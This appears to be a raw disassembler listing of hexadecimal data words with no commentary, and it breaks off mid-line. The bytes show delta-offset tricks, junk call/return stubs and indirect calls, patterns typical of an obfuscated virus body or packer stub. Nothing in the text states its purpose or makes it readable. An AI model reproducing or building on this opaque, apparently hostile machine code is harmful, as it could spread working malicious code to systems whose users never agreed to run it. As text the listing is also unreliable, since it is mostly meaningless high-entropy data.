0B5240481h, 8937B563h dd 71B79BDh, 72858D06h, 89060AB3h, 71DCDBDh, 0AE95006h dd 0E9000000h, 6B60E27Fh, 9059D4D3h, 2404898Ah, 9A77E3BBh dd 9195FF73h, 0F06071Bh, 18Bh, 6A61FC00h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F4A8C350h dd 0D8603980h, 0C7240DF7h, 0BB99D8Bh, 85090607h, 60707E1h dd 6985C7h, 30607h, 0BD830000h, 60AB372h, 2D840F00h, 33000000h dd 708019Dh, 3DE906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0C8437C3h, 0FC95B8CAh dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 291BC356h, 6AFEB70Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0D844C350h dd 8387A78Bh, 70069BDh, 850F0306h, 4A4h, 1575BD23h, 0BD830607h dd 60AB372h, 91840F00h, 6A000004h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 60FDC355h dd 0E988A2BCh, 11h, 0B76EE00h, 544F9084h, 0C97265EBh, 28BFC079h dd 72B5FFD8h, 29060AB3h, 7224595h, 4595FF06h, 6A060715h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0C340C357h, 0F81CBF66h, 0B366B58Bh, 8D89060Ah dd 607076Dh, 2211BD01h, 6C70607h, 10001h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Dh, 14C35646h, 567C7C82h dd 0DD41726Dh, 0FE8500Eh, 62000000h, 0D42B8AFEh, 0F11EC2B1h dd 21D5874Dh, 890F0929h, 17h, 12E9h, 21538D00h, 0E4B4753Fh dd 9BB32C96h, 0A4BAD2EBh, 5B5FF4B5h, 51243489h, 0CE9h dd 0F7120400h, 3254D8E7h, 0D222D73Bh, 0B5FF5B6Bh, 60AB372h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0ABC35242h dd 0F38F768Ah, 8166BBE5h, 8BCA08D7h, 73205BDh, 1195FF06h dd 8B060709h, 66B58BFEh, 6A060AB3h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 1107C355h dd 858BD8CDh, 6072CC9h, 14840Fh, 0FE90000h, 61000000h dd 9EC500B9h, 0CD8426E0h, 74D0F20Dh, 8689EC39h, 0C4h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8CC35141h, 0CE23C96Ch dd 10E87B04h, 0EC000000h, 0FFDAE3D8h, 63A4687Ah, 4B84D490h dd 5097C5ABh, 5BFBB70Fh, 0E381665Bh, 958BC9E0h, 6071B41h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 62C35242h dd 0AB070137h, 0F86E0861h, 35BD8BD0h, 83060705h, 6A04C2h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 42E643C3h, 778FBABFh, 1F6D8D89h, 50890607h, 52006A20h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0FB828D52h, 0FEFBF5Dh, 0D98B6625h, 0C7ED858Dh, 6A060Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 6B5652C3h, 1F769AB9h, 89063E4Ch, 0B886h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 6573C5BFh, 18CDD10Ah, 9EBB9AD0h, 0BB158AFEh, 6A08C602h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 4C7CF2C3h, 4AB34D65h, 72B5FF57h, 0BF060AB3h dd 4DB7E2E4h, 29FD95FFh, 0BF0F0607h, 0F5796FFh, 0E84h dd 8E800h, 3FCF0000h, 70FEA8D3h, 5F5BC32Dh, 2549BF50h dd 0E9965283h, 0Eh, 0A6357056h, 338FB6F5h, 0D5D5233Eh dd 0B5FF9BB7h, 60AB372h, 8F5BD89h, 880F0607h, 2, 95FFF98Bh dd 6071AA5h, 0ADBD83F8h, 60708h, 34840Fh, 8B660000h, 0BDB396FAh dd 96FE8A50h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 2C35545h, 7C34D644h, 9EB76C2Eh, 20D59D23h, 0B5FF0607h dd 60AB372h, 95FFFA8Bh, 6072605h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 18C35747h, 4C256463h, 0B70FFDDCh dd 72B5FFFEh, 89060AB3h, 701B19Dh, 0F195FF06h, 6A06071Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0BA78C357h, 0A5C05FB2h, 29E78AC2h, 70691B5h dd 0B1BD8306h, 2060703h, 7C840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0E079A9C3h dd 0FAAB2A2Bh, 8BF8BF0Fh, 7074985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 1AAF7307h dd 0BD03D9DDh, 607235Dh, 0C6DF8Bh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 1B81213Dh dd 0E7FDBF83h, 85C71919h, 6070F49h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 23C35747h dd 34A4DBA6h, 89D6DF7Ah, 712759Dh, 0FB8B6606h, 0FFF2FAE9h dd 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0E238914h, 8A6B9EFEh, 6AC18BDDh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0A055C355h, 8BB3644Fh, 0ABA1BB66h, 1F19858Dh, 8B500607h dd 240489DEh, 6860Fh, 9D2B0000h, 6072C71h, 5B56006Ah, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0E06A11C3h, 0CCD8EF32h, 9D8B3BB3h, 60705C9h, 0B030D0BFh dd 6858D41h, 89060BEFh, 7299195h, 5C08306h, 5000B390h dd 42E6BB66h, 11E990h, 0C4BF0000h, 0AF8C0D6Fh, 78BF10BDh dd 43272ED9h, 6AC93E99h, 618D3100h, 8B060704h, 709A19Dh dd 31006A06h, 72BC195h, 0CD95FF06h, 5006071Bh, 1A58501h dd 8D5B0607h, 0AA5B78Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 7A8D5A8Eh, 0D1FFFE8Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0C1C35646h dd 0BBC16901h, 0E963EACDh, 0Fh, 514C297h, 2B7CDFA0h, 0AB7B0E76h dd 83421C55h, 71995BDh, 850F0106h, 53h, 0AE9h, 4B7DDB00h dd 0AC8374E2h, 6A31A5B9h, 6830F02h, 29000000h, 717FD8Dh dd 0BEB35006h, 0FF240489h, 729FD95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 6F14BCB2h dd 43DB639Dh, 41BF642Dh, 0E95CD021h, 0D60h, 0E8h, 0ED815D00h dd 60BEF10h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0DAC35141h, 0BE9h, 1DC5C900h, 793F7520h, 2BF2B6AEh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C7C35040h dd 0E9D43AE8h, 0Fh, 0D590CAF4h, 0F3A47804h, 4C5D76E8h dd 8DC714F4h, 0A910A85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 2F600648h, 66FBB850h dd 59FFF781h, 14E9h, 0D6806B00h, 37716A58h, 424733C6h dd 0A863FC16h, 70E30EEEh, 0BF665018h, 489D47Ch, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 8E91436h, 0FF641B66h, 35h, 0AD9D8B00h, 64060725h, 2589h dd 9D8B0000h, 60719DDh, 0FA585FFh, 0B70F0607h, 8BFF6ADEh dd 1DBD89DFh, 0FF06071Fh, 72311B5h, 0C7816606h, 95FFFA4Bh dd 6073035h, 11DE9h, 0B0F98A00h, 0A5B58900h, 0E606072Bh dd 9D8BFC70h, 6073031h, 3CF571E4h, 0FF830F61h, 0F000000h dd 389h, 0D88B6600h, 0E9C8B60Fh, 12h, 2D44AFFDh, 0C2AF0B4Fh dd 0FA7384BCh, 84D51073h, 6BA8E2Ah, 31000000h, 7292D95h dd 1C18B06h, 72D75BDh, 4E8C106h, 13E9h, 110B0900h, 0F1949409h dd 4F8326Bh, 72300E7Dh, 10548626h, 0BFE2F766h, 1C0A7664h dd 8D89C82Bh, 6071CF9h, 0AE8h, 0B17AAE00h, 5681188h, 8B1411BCh dd 733619Dh, 0D18B5B06h, 2F78FEBBh, 7CE96Dh, 8C0F0000h dd 6, 2181BD8Bh, 858B0607h, 47554C50h, 5E8h, 6A882400h dd 835BB6C1h, 0BD0107C0h, 6072CD5h, 8900C083h, 702499Dh dd 0FD03B06h, 1183h, 5DBD8B00h, 0E9060730h, 3Ah, 30A59D8Bh dd 8D8B0607h, 0FFFFFFFFh, 2446BF66h, 0F01E183h, 2184h dd 399D8B00h, 8906071Eh, 7177DB5h, 0FFA58306h, 0FEFFFFFFh dd 4C509589h, 0BF0F4755h, 0E9DBh, 0B58D0000h, 60B6FB8h dd 0EED4E2BBh, 0FF006A6Dh, 7320195h, 0E8EF8006h, 0EBAB9h dd 59B5BF00h, 0E183241Bh, 0C02BFCFCh, 1879BD8Bh, 0D22B0607h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0BDC35343h dd 6E9CEh, 0E5680000h, 3EBC7C42h, 0D0816660h, 43B51557h dd 0C233AD61h, 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0AD77CFABh, 0F4D40022h, 9E9h, 5BFDE100h, 8433DD64h dd 12E82478h, 0D5000000h, 0D3BD588Fh, 7BA58BA6h, 0D2A77098h dd 380F4C3Eh, 0CB8166AEh, 0D5F34FBh, 88h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 0DCC35141h, 0D88B6666h dd 1B41958Bh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 24EA54C3h, 0D9BD2957h, 5B060701h dd 8BDBB70Fh, 706058Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 4F4F9137h, 0C28B509Dh dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 3358188Bh, 72C699Dh dd 0DAB70F06h, 0BD1BD83h, 0F000607h, 5584h, 459D8B00h dd 8B060729h, 7106DBDh, 0B806h, 9E90000h, 99000000h, 0E58CA359h dd 698F4CBEh, 4DB48D8Dh, 0BD8B0607h, 6072129h, 6AE1FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0D2F13DC3h, 73C9BB57h, 665B5EA4h, 0BD83D98Bh, 6070069h dd 18840F00h, 83000004h, 70069BDh, 840F0106h, 426h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 85C35242h, 69BD83h dd 0F030607h, 3C786h, 0DE800h, 24E90000h, 0F744A9A3h, 0EEAE6159h dd 29AAEF74h, 71C6195h, 66605F06h, 37E0DB81h, 60D98C66h dd 1DCD8D89h, 61F90607h, 5204E180h, 7E1BD89h, 0E95B0607h dd 11h, 780AF2EFh, 0A72B5B7Ah, 39391B67h, 0F3F9ABBFh, 0FC90AAFh dd 13484h, 97BB6600h, 518D89FBh, 8B060702h, 7306D85h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0CA804F7Ch, 33058533h, 95890607h, 60719EDh, 0E9525050h dd 0Bh, 6E7338FAh, 700EB31h, 0F4341A0h, 5AF88A31h, 24048958h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1FC35747h dd 6AE3B7C5h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 9CCF4ABBh, 24BF66CFh, 0D2B668F6h dd 8F0F0224h, 2, 3481DE8Ah, 3BD14924h, 53006A02h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0B550C2BBh, 0FFCCACC8h, 71B9195h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0B0140F78h dd 0ABF4D8Ah, 8958B70Eh, 0AB37285h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 5484D38h, 8BE6FA5Ch dd 71CA59Dh, 1D0E906h, 0BF0F0000h, 6A858BDFh, 6A060AB3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0C722C352h, 1800h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 17820FFFh dd 0E9000000h, 12h, 0CCCB986Ch, 49C9654h, 10D554A1h, 812647C7h dd 0B58BF4B2h, 60AB36Eh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 37C35545h, 4A696895h dd 26ADBD0Bh, 858B0607h, 6071579h, 858961B7h, 6071739h dd 6A0689h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 7C3F52C3h, 9FBB0B8Bh, 858B6748h, 607306Dh dd 6A044689h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0F2E9C350h, 0C4120BB4h, 599D8B10h dd 96060718h, 50F98B66h, 88B0Fh, 890F0000h, 2, 1965B50h dd 707418Dh, 6AB5FF06h, 89060AB3h, 723558Dh, 9F8C6806h dd 8B6650B0h, 243481FEh, 50AF9C73h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 58C35242h, 0E7D22686h, 305DBD01h dd 858D0607h, 60AB372h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0C35141h, 6B51A2A7h, 64EEBFD2h, 89503065h dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B1BBC0C3h, 0FF23FA8Bh, 71B9195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0BFD3A4D8h, 0A6573C5h, 220D8589h, 6A610607h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 9BBCC352h, 21719D89h, 85C70607h, 6070069h, 3, 18F58D89h dd 0BD830607h, 60AB372h, 31840F00h, 89000000h, 715698Dh dd 40E9F506h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 76BDC353h, 9589BDD8h dd 6070611h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0D32EC357h, 69B58951h, 5B06071Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 44C35242h dd 0DCD95BBBh, 69BD8337h, 3060700h, 47B850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0BD833CC3h, 60AB372h, 52840F00h, 89000004h, 71F1D85h dd 72B5FF06h, 0F060AB3h, 283h, 0FF616000h, 7154595h, 0B58BF506h dd 60AB366h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 76C35141h, 1DF5BD8Bh, 6C70607h, 10001h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 16C35040h, 8166F532h dd 966EAFCBh, 10E857h, 11C00000h, 5B422A50h, 0EC1EF753h dd 31C4B9ADh, 13E81661h, 5B000000h, 611F01DFh, 0F8DE134h dd 3B7FF8D3h, 0A4797562h, 5F5F47E2h, 8B66505Fh, 236096FAh dd 700BD95h, 6870F06h, 3000000h, 716C9BDh, 0B5FF6106h dd 60AB372h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0F8C35646h, 66DDE9C3h, 38B9486h, 6DBD2304h, 0FF06072Bh dd 7091195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 19787F3Fh, 6E8FBB1Bh, 0B58B2155h dd 60AB366h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 8DC35747h, 331EB4D7h, 602FB09Fh, 4ABB66BEh, 4FF7815Ah dd 8B752B75h, 72CC985h, 0B58B6006h, 6071C6Dh, 2EDD9D8Bh dd 89610607h, 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 858E5A49h, 0FE302B3h dd 686h, 1DB58900h, 0F906072Fh, 1B41958Bh, 6A0607h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 7804D5C3h, 76E8F3A4h, 0BB664C5Dh, 0C2834D7Dh, 50006A04h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 29C6CDDFh, 50890730h, 0BE820h, 0E4210000h, 3C1C6F2Dh dd 0E9C702EFh, 89F78029h, 0ED858D5Fh, 6A060AC7h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 84F6C350h, 96B73A9Dh, 7FE8B26Dh, 16FD9D89h, 86890607h dd 0B8h, 0BE9h, 0A70EEA00h, 0AABD9910h, 85CFA91Ch, 8FB7006Ah dd 0B372B5FFh, 6A060Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 4499D9C3h, 0FFEF5FE7h, 729FD95h dd 0B99D8B06h, 5006072Fh, 0F88B6656h, 2434895Fh, 15C98D29h dd 0B5890607h, 6071861h, 0B372B5FFh, 8B51060Ah, 71B95BDh dd 95FF5F06h, 6071AA5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 94C35242h, 22F9C858h, 0D5587794h, 0F41B33Ch dd 0E851FEB7h, 14h, 0F9F24CB3h, 0A8CE3FD4h, 0D3F9CB93h dd 0F1F8C5A2h, 0A4665B07h, 7D1B589h, 5F5B0607h, 8ADBD83h dd 0F000607h, 6B84h, 95296000h, 6072265h, 17830Fh, 11E80000h dd 1A000000h, 0E2FC07FCh, 0B5FFDB6Fh, 0B469DADDh, 0AC9ACFB8h dd 66506158h, 3489F88Bh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 5C64ACA0h, 14E92Bh, 403C0000h dd 53D318D6h, 2FFD8D2Fh, 0C5670197h, 1607866Bh, 9D8B0F6Fh dd 6073011h, 0B372B5FFh, 9D89060Ah, 607152Dh, 260595FFh dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 51AFB0C3h, 89EB7B4Eh, 723A9B5h, 72B5FF06h dd 6A060AB3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 120C351h, 72F29B5h, 9800F06h dd 0F000000h, 389h, 0DBBF0F00h, 301DBD8Bh, 95FF0607h, 6071DF1h dd 0B619D8Bh, 0BD830607h, 60703B1h, 50840F02h, 8B000000h dd 7074985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 38B3FB58h, 0F98B8312h, 6A0000C6h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 4AF9C357h, 0A9958955h, 0C706071Eh, 70F4985h dd 6, 2DBF6600h, 0F3E3E9C7h, 6AFFFFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0C18BD1C3h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B0C35545h dd 0C7BF6650h, 95895FC1h, 60720CDh, 1F19858Dh, 6A0607h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 9D328EC3h, 0FE8B66C8h, 50AAB390h, 6090DE8Bh, 14E8h dd 0B5FFDB00h, 0B469DADDh, 0AC9ACFB8h, 9DB80286h, 39EC4A46h dd 359D89B4h, 5E060715h, 13E8h, 6970FA00h, 3A34E422h, 77858A78h dd 7BEF2BE3h, 0C96F809Ah, 0CEC68166h, 161586Fh, 717A9BDh dd 3006A06h, 712D5BDh, 6A006A06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0E075C356h dd 5B156357h, 0DB81F05Ch, 50877844h, 0FDEB8166h, 62858D9Dh dd 8B060BFEh, 72139BDh, 5C08306h, 53BF09BFh dd 8F0F5026h, 19h, 8B665250h, 0E8310FF9h, 0Ah, 49C7A275h dd 0A5ACD2Bh, 5A5F0D50h, 24048958h, 6ADE8Bh, 0D3A5BB66h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0DBC189C3h, 0E2D93419h, 95FF536Ah, 6071BCDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 3CC35141h dd 5DB623F1h, 0B78D8DF9h, 6A060AA5h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0A385C357h dd 46A0D618h, 59C78017h, 0AE8D1FFh, 0F1000000h, 349BBE9Ah dd 6B1316E3h, 5B5B50A4h, 1995BD83h, 0F010607h, 7285h, 0E8026A00h dd 0Eh, 445E838h, 43AD9E68h, 8E7539DFh, 0DB8114EEh, 5FBD7F5h dd 850F905Fh, 0 aPflRj db 'Pfސj',0 db 51h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8B7B893Ch, 71875BDh, 0FD95FF06h, 6A060729h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 440AC352h, 0E94F519Eh, 0D6Dh, 0E8h, 0ED815D00h, 60BFE6Ch dd 6A2DB3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0EB4883C3h, 1F018D01h, 81660607h, 8DBCD6F7h dd 0A910A85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 45E2C20Dh, 0A33CB076h, 68E0Fh, 95290000h dd 6072B55h, 0B830F50h, 50000000h, 0BF310F52h, 43BDE165h dd 489585Ah, 0EF815024h, 1EC868A5h, 35FF645Fh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E0C35242h dd 0C45D7E9Dh, 64A1A795h, 2589h, 860F0000h, 0 dd 0FA585FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 97572C3h, 371EB10h, 718EDBDh, 6860F06h dd 31000000h, 71159B5h, 6AFF6A06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0CDA6C352h dd 5250A9A7h, 7E860h, 0D1610000h, 61E2065Ah, 5E9A1h, 0CD360000h dd 5A9AB237h, 61F98B66h, 2215B5FFh, 6A0607h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 255752C3h dd 9E8C01Dh, 12000000h, 5CD7E557h, 0BA334BECh, 30FDBD89h dd 0FF5B0607h, 7303595h, 0F4E906h, 9D8B0000h, 6071551h dd 0BF6600B0h, 0BF5666C8h, 3CD89282h, 0E970E65Bh, 0Fh dd 0D2088555h, 8F614849h, 6126A734h, 0E455DBFDh, 0F613C71h dd 0C183h, 6860F00h, 8B000000h, 71E9D9Dh, 0C8B60F06h, 232DB589h dd 6BA0607h, 8B000000h, 4E8C1C1h, 618589h, 0F7660607h dd 0C59D33E2h, 2B060718h, 0FE8B66C8h, 0ABBBD18Bh, 0E949019Bh dd 82h, 2B7D9509h, 858B0607h, 44004E49h, 8007C083h, 7E9FFDFh dd 0D6000000h, 372F1D9Ah, 0C0832124h, 0CD950900h, 3B06071Ch dd 23830FD0h, 0F000000h, 687h, 0C5BD8B00h, 0E906072Bh dd 42h, 38C0F60h, 66000000h, 6060C18Bh, 0CA8B6661h, 8D8B6161h dd 0FFFFFFFFh, 83DA8B66h, 840F01E1h, 1Eh, 0C84CBB66h, 0FFFFA583h dd 89FEFFFFh, 71D91B5h, 49958906h, 8B44004Eh, 0E9FBh, 0B58D0000h dd 60B7E72h, 2EE9BD09h, 6A0607h, 7E8h, 4ED10D00h, 0BDC699FBh dd 5FFBBF0Fh, 320195FFh, 0E8BB0607h, 0B92DC136h, 0D8Ah dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A5C35242h dd 614B2A4Bh, 0FCE183A8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 3AC35141h, 1D92E5B8h, 9D8B5F97h, 6071E25h dd 68F0Fh, 95890000h, 6071CC9h, 0AD39BF66h, 53006AFCh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 704B3B96h, 0B8h, 0D22BFC00h, 33ADDE8Bh, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0E93EB9C3h, 9, 60A957F6h, 0E382E5A8h, 0FFD8A04h dd 68Ah, 0C19D8B00h, 0D06071Bh, 88h, 1DDB8166h, 41958B5Ch dd 0F06071Bh, 68Bh, 0B59D8B00h, 8B060732h, 706058Dh, 8B50FC06h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0EA4A02BBh dd 0F98B6640h, 0BD1BD83h, 0F000607h, 4E84h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 7C6E445Ah, 541EEF28h, 0B8h, 0B48D8D00h, 0F06074Dh, 980h dd 61606000h, 918D3EBEh, 0E1FF616Eh, 9899589h, 850F0607h dd 3, 83B1E780h, 70069BDh, 840F0006h, 4D2h, 83ACCF80h dd 70069BDh, 840F0106h, 4DDh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0B8C35141h, 0D1B11571h, 69BD83h dd 0F030607h, 47A86h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0AA1E2C6h, 8BDF62F5h dd 71725BDh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0F6DFDAC3h, 0D3560A58h, 0FFBF0F11h dd 60D98C66h, 22E5BD09h, 7E90607h, 0ED000000h, 3F79DE17h dd 80616CDDh, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 690C39C3h, 0DC668326h, 0EE8h, 0A8871A00h dd 9D7A02h, 61EBE039h, 294FD8C8h, 72A3D85h, 0C90A5B06h dd 1CE840Fh, 0B70F0000h, 6D858BD9h, 6A060730h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0DF5AC350h, 34538A76h, 0F30C2DBh, 118Fh, 0BE800h, 0E83E0000h dd 12F9581Bh, 7C94919Ah, 85335B8Eh, 6073305h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C5C35242h, 5198C2B3h dd 600C3661h, 0E3D1BA66h, 89615B53h, 730099Dh, 60509006h dd 5E616050h, 14E9h, 809A7B00h, 48DCC96Fh, 0F4A0343Ah dd 948A9118h, 0A5340DFh, 6090615Fh, 9E8h, 0A5005900h, 60ED5502h dd 14E9094Ch, 62000000h, 0CBCBD5D1h, 86D70FB1h, 9C3E22CBh dd 0DA7FD12Ch, 5905FD93h, 0CE960h, 0ED960000h, 623DAB63h dd 0E2DD4D17h, 6161E886h, 0D98B006Ah, 4E8h, 1F03FF00h dd 0F525000h, 50585A31h, 448BDA8Bh, 60560424h, 11E9h, 0E4876600h dd 37CB913Bh, 0D0A59EF0h, 26165CC1h, 5B613262h, 6660008Bh dd 0E8572BBBh, 7, 0E542447Eh, 56A2DBD4h, 89615F5Eh, 0E8042444h dd 13h, 6AFC4FC8h, 5EAF97ADh, 1E142DB3h, 6632E193h, 60C5692Dh dd 880Fh, 0A4B50000h, 6A585B61h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0F1F8C357h, 0EF815B07h dd 6F965979h, 0E423E781h, 95FF6DE0h, 6071B91h, 78D78166h dd 897BB7B2h, 0AB37285h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 